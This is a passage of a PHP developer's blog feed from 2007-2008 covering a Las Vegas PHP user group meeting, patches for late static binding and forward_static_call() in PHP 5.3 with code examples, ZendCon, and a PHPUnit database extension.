Las Vegas finally has a <a href="http://www.ds-o.com/exit.php?url_id=199&amp;entry_id=70" onmouseover="window.status='http://lvphp.org/';return true;" onmouseout="window.status='';return true;" title="Las Vegas PHP User's Group">PHP User Group</a> and our first meeting is...tomorrow. I am pretty excited as I know there is a fairly decent size PHP programmer community in LV, it just hasn't been organized yet. One of my co-workers Ray Lopez is organizing the group and it looks like we'll have a fairly decent size group at our first meeting. If you are from Las Vegas I would encourage you to attend if at all possible! If you are unable to attend then I would highly recommend you still sign up at <a href="http://www.ds-o.com/exit.php?url_id=200&amp;entry_id=70" onmouseover="window.status='http://php.meetup.com/422/';return true;" onmouseout="window.status='';return true;" title="Las Vegas PHP Meetup">meetup.com</a> so you can keep informed of future meetings.</p><p></p><p>Time: Friday, Apr 11, 2008, 4:00 PM<br /><br />Place: <a class="popVenue" href="http://www.ds-o.com/exit.php?url_id=203&amp;entry_id=70" title="http://php.meetup.com/422/venue/?venueId=546845&amp;eventId=7551002" onmouseover="window.status='http://php.meetup.com/422/venue/?venueId=546845&amp;eventId=7551002';return true;" onmouseout="window.status='';return true;"><br />PT's PUB</a><br />310 E. Warm Springs Rd.<br />Las Vegas, NV 89119<br /><a href="http://www.ds-o.com/exit.php?url_id=202&amp;entry_id=70" onmouseover="window.status='http://maps.yahoo.com/#mvt=m&amp;lat=36.057116&amp;lon=-115.15835&amp;mag=3&amp;q1=310%20E.%20Warm%20Springs%20Rd%2C%20Las%20Vegas%2C%20NV%2089119';return true;" onmouseout="window.status='';return true;" title="PT's Pub">Directions</a></p> Thu, 10 Apr 2008 21:18:41 -0400 http://www.ds-o.com/archives/70-guid.html Late Static Binding (LSB) forward_static_call() http://www.ds-o.com/archives/69-Late-Static-Binding-LSB-forward_static_call.html PHP http://www.ds-o.com/archives/69-Late-Static-Binding-LSB-forward_static_call.html#comments http://www.ds-o.com/wfwcomment.php?cid=69 8 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=69 nospam@example.com (Mike Lively) <p>I finally freed up some time to finish some quick tests for some of the late static binding patches I made and one of them finally made it into head.</p><p>The original post I had bringing up this issue was lovingly title <a href="http://www.ds-o.com/exit.php?url_id=190&amp;entry_id=69" onmouseover="window.status='http://www.digitalsandwich.com/archives/65-Late-static-binding....sorta.html';return true;" onmouseout="window.status='';return true;" title="Late Static Binding Sorta">Late Static Binding...Sorta</a>. Basically the original patch alone did not provide a means to override a method, forward execution to the parent method and still preserve the ability for static:: to be anything meaningful. It would be turned into the syntactic equivelant of self::. I came up with a <a href="http://www.ds-o.com/exit.php?url_id=191&amp;entry_id=69" onmouseover="window.status='http://www.ds-o.com/archives/68-Late-Static-Binding-Changes-to-parent.html';return true;" onmouseout="window.status='';return true;" title="Late Static Binding - Changes to Parent">few patches</a> to address this. After several rounds of back and forth about the patches the conversation died out with no decision. I finally resurrected the topic and was able to find <a href="http://www.ds-o.com/exit.php?url_id=192&amp;entry_id=69" title="http://news.php.net/php.internals/36208" onmouseover="window.status='http://news.php.net/php.internals/36208';return true;" onmouseout="window.status='';return true;">concensus for the third patch (forward_static_call())</a>. </p><p>This weekend I wrapped up a few small tests and sent the patch in and it was subsequently <a href="http://www.ds-o.com/exit.php?url_id=193&amp;entry_id=69" title="http://news.php.net/php.cvs/49508" onmouseover="window.status='http://news.php.net/php.cvs/49508';return true;" onmouseout="window.status='';return true;">pushed to php 5.3 and php 6.0</a>. Now, this is not at all the way I wanted things to work, in all honesty I think the patch is pretty hokey but unfortunately nobody really spoke up in support of the changes I wanted to make to parent:: in regards to LSB. So I thought it far more important to make sure there was a way to make sure static methods could be overridden while ensuring that access to parent methods would be unabated.</p><p>So now, if you want to override a static method and forward execution to the parent class, the safe way (in regards to static inheritance) is shown in Table2 while the (unfortunately) not so safe way is shown in Table1:</p> <div class="php" style="text-align: left"><br /><span style="color: #000000; font-weight: bold;">&lt;?php</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> ActiveRecord<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; public <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> funtion loadById<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$id</span>, PDO <span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$table</span> = get_called_class<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$statement</span> = <span style="color: #0000ff;">$db</span>-&gt;<span style="color: #006600;">prepare</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; SELECT * FROM {$table}<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; WHERE {$table}_id = ?<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; "</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$statement</span>-&gt;<span style="color: #006600;">execute</span><span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/array"><span style="color: #000066;">array</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$id</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$column_values</span> = $<span style="color: #0000ff;">$statement</span>-&gt;<span style="color: #006600;">fetch</span><span style="color: #66cc66;">&#40;</span>PDO::<span style="color: #006600;">FETCH_ASSOC</span><span style="color: #66cc66;">&#41;</span>;<br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$column_values</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$ar</span> = <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$ar</span>-&gt;<span style="color: #006600;">column_values</span> = <span style="color: #0000ff;">$statement</span>-&gt;<span style="color: #006600;">fetch</span><span style="color: #66cc66;">&#40;</span>PDO::<span style="color: #006600;">FETCH_ASSOC</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">$ar</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">else</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">FALSE</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> Table1 extends ActiveRecord<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; public <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> <span style="color: #000000; font-weight: bold;">function</span> loadById<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$id</span>, PDO <span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">/**<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; * DANGER! the table name will resolve to ActiveRecord<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; */</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$ar</span> = parent::<span style="color: #006600;">loadById</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$id</span>, <span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span>;<br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$ar</span> === <span style="color: #000000; font-weight: bold;">FALSE</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> Table2 extends ActiveRecord<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; public <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> <span style="color: #000000; font-weight: bold;">function</span> loadById<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$id</span>, PDO <span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">/**<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; * SAFE WAY! the table name will correctly resolve to Table2<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160;&#160; */</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #0000ff;">$ar</span> = forward_static_call<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/array"><span style="color: #000066;">array</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'parent'</span>, <span style="color: #ff0000;">'loadById'</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #0000ff;">$id</span>, <span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span>;<br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$ar</span> === <span style="color: #000000; font-weight: bold;">FALSE</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$db</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #000000; font-weight: bold;">?&gt;</span><br />&#160;</div> <p>This shows an example of the differences between using parent:: and forward_static_call. I really do wish that the behavior of parent:: would just be modified to work like forward_static_call does. It would be alot less awkward and imo closer to what the average oo programmer would expect. I suppose the issue is up for debate if anyone feels like bringing it up on internals, we aren't stuck with it until php 5.3 rolls <img src="http://www.ds-o.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />. The <a href="http://www.ds-o.com/exit.php?url_id=196&amp;entry_id=69" onmouseover="window.status='http://ds-o.com/Patches/lsb.parent-forwarding.v2.php53.patch';return true;" onmouseout="window.status='';return true;" title="LSB parent:: forwarding patch">patch</a> is even available it just needs some more vocal supporters.</p> <p>In either case at least there is a way around it now...</p> Mon, 07 Apr 2008 20:19:27 -0400 http://www.ds-o.com/archives/69-guid.html Late Static Binding - Changes to parent http://www.ds-o.com/archives/68-Late-Static-Binding-Changes-to-parent.html PHP http://www.ds-o.com/archives/68-Late-Static-Binding-Changes-to-parent.html#comments http://www.ds-o.com/wfwcomment.php?cid=68 5 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=68 nospam@example.com (Mike Lively) <p>If you have been following the PHP internals list for the last few weeks you probably have seen a discussion concerning the current behaviour of late static binding (lsb) and how it seems to be unnecessarily limited when it comes to inheritance. I first posted about the limitations of the current lsb implementation as it relates to inheritance in <a href="http://www.ds-o.com/exit.php?url_id=180&amp;entry_id=68" onmouseover="window.status='http://www.digitalsandwich.com/archives/65-Late-static-binding....sorta.html';return true;" onmouseout="window.status='';return true;" title="Late Static Binding...Sorta">Late Static Binding...Sorta</a>. It has since been revived in this thread on the internals mailing list: <a href="http://www.ds-o.com/exit.php?url_id=181&amp;entry_id=68" onmouseover="window.status='http://marc.info/?l=php-internals&amp;m=119538527824948&amp;w=2';return true;" onmouseout="window.status='';return true;" title="RE: [PHP-DEV] late static binding php6">RE: [PHP-DEV] late static binding php6</a>.</p> <p>I won't rehash all of the arguments as you can quite easily find out my full thoughts by previous posts and on that mailing list thread. To put it simply I feel that somehow there needs to be a way to call methods in a parent class without losing the ability to reference back to the original called static.</p> <div class="php" style="text-align: left"><br /><span style="color: #000000; font-weight: bold;">&lt;?php</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> A<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; public <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> <span style="color: #000000; font-weight: bold;">function</span> test<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> get_called_class<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>,<span style="color: #ff0000;">"<span style="color: #000099; font-weight: bold;">\n</span>"</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> B<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; public <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> <span style="color: #000000; font-weight: bold;">function</span> test<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">//do additional work ...</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; parent::<span style="color: #006600;">test</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><span style="color: #66cc66;">&#125;</span><br /><br />B::<span style="color: #006600;">test</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//outputs B</span><br /><br /><span style="color: #000000; font-weight: bold;">?&gt;</span><br />&#160;</div> <p>This (or anything like it) is currently impossible in the current lsb implementation. I spent a bit of my extended weekend preparing three different patches to work around this problem. I just now sent them to the internals mailing list so they can be discussed. You can view this email and get a summary of the patches by viewing <a href="http://www.ds-o.com/exit.php?url_id=184&amp;entry_id=68" onmouseover="window.status='http://news.php.net/php.internals/33432';return true;" onmouseout="window.status='';return true;" title="[Patch] late binding for parent (and other options)">my recent php-dev posting</a>.</p> <ul> <li><a href="http://www.ds-o.com/exit.php?url_id=185&amp;entry_id=68" title="http://www.digitalsandwich.com/patches/lsb.parent-forwarding.patch" onmouseover="window.status='http://www.digitalsandwich.com/patches/lsb.parent-forwarding.patch';return true;" onmouseout="window.status='';return true;">lsb.parent-forwarding.patch</a> - Changing the behavior of parent.</li> <li><a href="http://www.ds-o.com/exit.php?url_id=186&amp;entry_id=68" title="http://www.digitalsandwich.com/patches/lsb.new-keyword.patch" onmouseover="window.status='http://www.digitalsandwich.com/patches/lsb.new-keyword.patch';return true;" onmouseout="window.status='';return true;">lsb.new-keyword.patch</a> - Adding a new class keyword.</li> <li><a href="http://www.ds-o.com/exit.php?url_id=187&amp;entry_id=68" title="http://www.digitalsandwich.com/patches/lsb.forward_static_call.patch" onmouseover="window.status='http://www.digitalsandwich.com/patches/lsb.forward_static_call.patch';return true;" onmouseout="window.status='';return true;">lsb.forward_static_call.patch</a> - Adding functions to do my dirty work.</li> </ul> <p>All of the above patches are against 5.3. I was having some strange problems with the test suite in php6 so I moved onto php5.3 so I could make sure things weren't breaking on me <img src="http://www.ds-o.com/templates/default/img/emoticons/tongue.png" alt=":-P" style="display: inline; vertical-align: bottom;" class="emoticon" />. If anyone reading this feels as strongly as I do that there should be a way to do this I hope to encourage you to make your thoughts known on PHP-Dev. </p> Mon, 26 Nov 2007 01:16:27 -0500 http://www.ds-o.com/archives/68-guid.html ZendCon07 Day 1 http://www.ds-o.com/archives/67-ZendCon07-Day-1.html PHP http://www.ds-o.com/archives/67-ZendCon07-Day-1.html#comments http://www.ds-o.com/wfwcomment.php?cid=67 0 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=67 nospam@example.com (Mike Lively) <p>Day one of the conference is over and everything has gone well so far. I attended the extending PHP session by Wez, Sara, and Marcus. It was alot of review but it was very informative and brought up alot of things that I tend to forget frequently. It was also good to find out that Marcus has a pretty decent american impression. In either case I have a couple small php extension projects that I am thinking about starting now just to tinker around with some of what they talked about.</p> <p>I also heard some unconfirmed rumours that database testing was brought a fair amount in the Best Practices tutorial. So if any of you were in that tutorial and have any questions track me down.</p> <p>After the tutorials were finished all of us from the selling source decided to go into San Francisco for some food and what not. We went to the Stinking Rose which billed itself as a garlic resteraunt and it certaintly did not dissapoint. We hung around for a while to chit-chat and what not. It is my first time in San Francisco and it pretty much has further confirmed that I am definately not a city guy <img src="http://www.ds-o.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />.</p> <p>Today's sessions are underway and thus far I have found myself working the entire time but I plan on stopping that after the current round of sessions is over. I am looking forward to going to Give Your Site A Boost With memcached from Ben Ramsey and High Performance PHP &amp; MySQL Scaling Techniques by Eli White. We will also be spending some time today setting up the Selling Source booth. We are also sponsering the opening reception tonight in the exhibit hall which I don't really think means anything other than we'll have our logo plastered in a few key places which is always nice. Also we are giving away a fairly nifty prize at the end of the conference to a random winner of a little code challenge that we put together.</p> <p>If any of the fellow conference goers plan on going to the opening reception be sure to track me down and say hello. I think I am going to leave both my laptop and black berry so there will be no distractions. I would love to talk to y'all about pretty much anything. <img src="http://www.ds-o.com/templates/default/img/emoticons/tongue.png" alt=":-P" style="display: inline; vertical-align: bottom;" class="emoticon" />.</p> Tue, 09 Oct 2007 14:02:53 -0400 http://www.ds-o.com/archives/67-guid.html Going to ZendCon http://www.ds-o.com/archives/66-Going-to-ZendCon.html PHP http://www.ds-o.com/archives/66-Going-to-ZendCon.html#comments http://www.ds-o.com/wfwcomment.php?cid=66 3 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=66 nospam@example.com (Mike Lively) <p>I will be leaving for ZendCon on Sunday. This will be my first zend con and I am really looking forward to going. I was hoping to speak at the conference about refactoring and database testing but alas it wasn't meant to be <img src="http://www.ds-o.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />. I figure it gives me more time to enjoy everyone else's talks and I can also meet the other attendees without the impending doom of everyone in a room paying attention to me.</p><p>I will be attending the conference with a sizable group of co-workers from <a href="http://www.ds-o.com/exit.php?url_id=178&amp;entry_id=66" title="http://sellingsource.com" onmouseover="window.status='http://sellingsource.com';return true;" onmouseout="window.status='';return true;">The Selling Source</a> and will be spending some time in our booth in the exhibit hall. If any of you would like to discuss unit testing, late static binding, or what not please come track me down. I am very interested to talk with anyone that may have checked out the <a href="http://www.ds-o.com/exit.php?url_id=179&amp;entry_id=66" title="http://phpunit.de" onmouseover="window.status='http://phpunit.de';return true;" onmouseout="window.status='';return true;">PHPUnit</a> Database extension. I have a small list of features that I am hoping to add shortly and would love to hear about any other features people may be looking for.</p> Thu, 04 Oct 2007 23:51:01 -0400 http://www.ds-o.com/archives/66-guid.html Late static binding....sorta :/ http://www.ds-o.com/archives/65-Late-static-binding....sorta.html PHP http://www.ds-o.com/archives/65-Late-static-binding....sorta.html#comments http://www.ds-o.com/wfwcomment.php?cid=65 4 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=65 nospam@example.com (Mike Lively) <p>The good news is late static binding has been introduced into head and looks like it will be merged into 5.3 before it is released. The horrible news is I really don't think the patch went as far as it needs to.</p> <p>If you look at the <a href="http://www.ds-o.com/exit.php?url_id=175&amp;entry_id=65" onmouseover="window.status='http://www.ds-o.com/archives/53-Late-Static-Binding-in-PHP.html';return true;" onmouseout="window.status='';return true;" title="Late Static Binding In PHP">original posts</a> that cropped up about a year and a half ago the whole purpose of late static binding was to allow the same kind of flexibility provided by inheritance of standard class methods for static methods, properties, and constants. This wouldn't really open the door for any grandios, new kind of applications, it would just allow a new way to code libraries the most prominant example being an Active Record Library.</p> <p>This is now possible, however I think there is a very unfortunate limitation that I brought up a few times on the Internals mailing list to apparently no avail. The problem is with the fact that static will ALWAYS return the 'resolved' name of the class used to call the current function. So, imagine the following method:</p> <div class="php" style="text-align: left"><br /><span style="color: #000000; font-weight: bold;">class</span> Foo<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">//...</span><br /><br />&#160; &#160; &#160; &#160; <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> public <span style="color: #000000; font-weight: bold;">function</span> test<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a>::<span style="color: #0000ff;">$some_property</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">//...</span><br /><span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> Bar extends Foo<br /><span style="color: #66cc66;">&#123;</span><br /><span style="color: #66cc66;">&#125;</span><br />&#160;</div> <p>If you call test using Foo::test() then static:: will resolve to the 'Foo' class. If you call it using Bar::test() then static:: will resolve to 'Bar'. This is correct and works well for simple inheritance. However things start taking a downward turn the more you use inheritance. Consider the following change to Bar and the addition of a new class Bar_Child:</p> <div class="php" style="text-align: left"><br /><span style="color: #000000; font-weight: bold;">class</span> Foo<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">//...</span><br /><br />&#160; &#160; &#160; &#160; <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> public <span style="color: #000000; font-weight: bold;">function</span> test<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a>::<span style="color: #0000ff;">$some_property</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><br />&#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">//...</span><br /><span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> Bar extends Foo<br /><span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; <a href="http://www.php.net/static"><span style="color: #000066;">static</span></a> public <span style="color: #000000; font-weight: bold;">function</span> test<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#123;</span><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #808080; font-style: italic;">// Do some work specific to Bar</span><br /><br />&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; <span style="color: #b1b100;">return</span> parent::<span style="color: #006600;">test</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;<br />&#160; &#160; &#160; &#160; <span style="color: #66cc66;">&#125;</span><br /><span style="color: #66cc66;">&#125;</span><br /><br /><span style="color: #000000; font-weight: bold;">class</span> Bar_Child extends Bar<br /><span style="color: #66cc66;">&#123;</span><br /><span style="color: #66cc66;">&#125;</span><br />&#160;</div> <p>Now, calling Foo::test() will again result in static:: being bound to 'Foo'. However, due to the fact that parent:: will resolve to Foo:: that means the call Bar::test() will now result in static:: being bound to 'Foo'. Bar_Child::test() will do exactly the same thing, static:: will again be bound to 'Foo'. This is incredibly inflexible and in my opinion this is the exact problem that 'late static binding' is SUPPOSED to fix.</p> <p>There are a couple of ways to fix this that I can think of right now, unfortunately nobody on list seems very motivated to explore any compromises. The two ways that come to mind immediately are either setting the behavior of parent:: such that it forwards the calling class through the next function call. So in the example above, calling Bar::test() will still result in calling Foo::test() however it will not 'reset' the calling class so that static:: will still resolve to 'Bar::', likewise Bar_Child::test() will result in static:: being bound to 'Bar_Child'.</p> <p>The second alternative is introducing another scope. I have no clue what this scope would be called, but it would basically implement the functionality I just described for parent:: above but would do it using a new keyword so parent:: could remain the same.</p> <p>Dmitry Stogov mentioned my first alternative on the list however he also included this functionality for the self:: scope which I could see causing some serious problems. In either case, I am thankful that the functionality has started to make its way in, but I can't help but think that myself and some other early proponents of the functionality are getting completely shafted.</p> Wed, 26 Sep 2007 22:08:31 -0400 http://www.ds-o.com/archives/65-guid.html Adding Database Tests to Existing PHPUnit Test Cases http://www.ds-o.com/archives/64-Adding-Database-Tests-to-Existing-PHPUnit-Test-Cases.html PHP Testing http://www.ds-o.com/archives/64-Adding-Database-Tests-to-Existing-PHPUnit-Test-Cases.html#comments http://www.ds-o.com/wfwcomment.php?cid=64 8 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=64 nospam@example.com (Mike Lively) <p>When I was first creating the <a href="http://www.ds-o.com/exit.php?url_id=170&amp;entry_id=64" onmouseover="window.status='http://www.ds-o.com/archives/63-PHPUnit-Database-Extension-DBUnit-Port.html';return true;" onmouseout="window.status='';return true;" title="PHPUnit Database Extensions (DBUnit Port)">Database Extension</a> for <a href="http://www.ds-o.com/exit.php?url_id=171&amp;entry_id=64" onmouseover="window.status='http://www.phpunit.de';return true;" onmouseout="window.status='';return true;" title="PHPUnit">PHPUnit</a> I realized that there was a very high likelihood that several people would have tests that were already written that they would like to add additional database tests too. To accomplish this I actually wrote the <b>PHPUnit_Extensions_Database_DefaultTester</b> class. In fact, if you were to look at the source of the database test case you will see that all of it's operations are actually forwarded to this class which does all of the work.</p> <p>Please continue reading to see how you can use composition to add database tests to your existing test cases.</p> <br /><a href="http://www.ds-o.com/archives/64-Adding-Database-Tests-to-Existing-PHPUnit-Test-Cases.html#extended">Continue reading "Adding Database Tests to Existing PHPUnit Test Cases"</a> Wed, 05 Sep 2007 00:00:00 -0400 http://www.ds-o.com/archives/64-guid.html PHPUnit Database Extension (DBUnit Port) http://www.ds-o.com/archives/63-PHPUnit-Database-Extension-DBUnit-Port.html PHP Testing http://www.ds-o.com/archives/63-PHPUnit-Database-Extension-DBUnit-Port.html#comments http://www.ds-o.com/wfwcomment.php?cid=63 21 http://www.ds-o.com/rss.php?version=2.0&type=comments&cid=63 nospam@example.com (Mike Lively) <p>I have completed the initial feature set for the Database extension to <a href="http://www.ds-o.com/exit.php?url_id=158&amp;entry_id=63" onmouseover="window.status='http://www.phpunit.de';return true;" onmouseout="window.status='';return true;" title="PHPUnit">PHPUnit</a>. This is a essentially a port of <a href="http://www.ds-o.com/exit.php?url_id=159&amp;entry_id=63" onmouseover="window.status='http://dbunit.sourceforge.net/';return true;" onmouseout="window.status='';return true;" title="DBUnit">DBUnit</a> to <a href="http://www.ds-o.com/exit.php?url_id=160&amp;entry_id=63" title="http://www.php.net" onmouseover="window.status='http://www.php.net';return true;" onmouseout="window.status='';return true;">PHP</a>.</p><p>For those that may not have read any of my <a 